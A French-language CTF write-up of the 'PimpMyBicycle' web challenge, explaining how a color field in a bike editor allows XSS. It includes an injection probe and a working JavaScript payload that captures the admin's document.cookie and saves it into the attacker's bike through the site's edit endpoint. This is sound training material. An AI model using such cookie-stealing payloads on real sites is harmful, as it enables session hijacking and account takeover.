🇫🇷 PWNME - PimpMyBicycle

Jul 7, 2022

3 mins read

Go back to write-ups list

This write-up is in French because it’s a French CTF, sowwy

Category: Web

Creator: Eteck

Description:

Your friend just had an idea: allow everyone to create the bike of their dream ! He asks you to verify if his website is secure, since you’re the best pentester he knows.

Find a way to access the admin page

note: admin doesn’t have access to the internet ! He is behind a very restrictive firewall, and he can only be on his own website

Fonctionnement du site web

Je vais sauter la partie où on crée un compte pour aller directement à l’interface intéressante : l’interface où l’on peut pimper notre vélo !

Page web

Au delà de l’éditeur de vélo à gauche, on a 3 fonctionnalités : créer un vélo aléatoire, sauvegarder un nouveau vélo et sauvegarder le vélo actuel (le modifier en quelques sortes).

En lisant le Javascript de la page, on peut trouver les fonctions qui s’occupent d’enregistrer le vélo :

function saveBuild() {
  let result = [];
  for (const customElement of editor.getCustomElements()) {
    result.push({
      id: customElement.element.id,
      slot: customElement.slot.id,
      colors: customElement.colors,
    });
  }
  return JSON.stringify(result);
}

function save() {
  $.post("/?page=preview&action=saveBike", { data: saveBuild() }).then(
    (id) => (document.location = "/?page=preview&id=" + id)
  );
}

function edit() {
  $.post("/?page=preview&action=editBike&id=" + getParamId(), {
    data: saveBuild(),
  }).then(() => document.location.reload(false));
}

Recherche de XSS

Comme on peut s’en douter, les paramètres de cette classe CustomElement qui sont sauvegardés (notamment la couleur) seront ensuite réinjectés dans la page lorsque que l’on charge un vélo. Pour vérifier cette hypothèse, j’ai tenté d’injecter du HTML dans un des attribut couleur, puis de sauvegarder le vélo.

editor.getCustomElements()[1].colors[0] = '"></path></svg><span>coucou les gens</span>'

Et bingo ! Le texte est apparu à la place de la roue !

DOM based

Si on met une balise <script> à la place du <span>, on peut facilement deviner que le script sera exécuté. Il en est de même sur la page de preview du vélo que l’admin consulte lorsqu’on lui soumet un vélo. C’est ce qu’on appelle une XSS DOM-based.

Création du payload

Réfléchissons maintenant à un script qui pourrait récupérer le cookie de session de l’admin. Beaucoup se sont fait avoir, mais j’ai lu la description donc je sais qu’on ne peux pas l’envoyer à un site externe. Par contre, on peut probablement demander à l’admin d’éditer un de nos vélos. J’ai donc récupérer le JSON qui est envoyé lorsqu’on sauvegarde un vélo, et j’ai écrit un script pour y intégrer le cookie de session :

let data = JSON.stringify([{
    "id":"roue1",
    "slot":0,
    "colors": ["\"></path></svg><h1>Pour Cyxo : " + document.cookie + "</h1>","#FFFFFF"]
}]);

$.post("/?page=preview&action=editBike&id=150", {
    data: data,
}).then(() => document.location.reload(false));

150 étant l’id d’un vélo aléatoire créé précédemment

En rendant ce payload moche et sur une seule ligne, on peut l’insérer dans une balise script de notre vélo malveillant et l’envoyer en production à l’administrateur. Après un cours délai, l’admin nous informe gentillement que notre vélo va être créé.

Nice admin, nice

Ce qui veut dire que l’admin a exécuté notre script ! On peut alors retourner sur le fameux vélo #150, et surprise :

Miam les cookies

En volant ce cookie, on a désormais accès à l’interface d’administration et au flag !

Go back to write-ups list

Sharing is caring!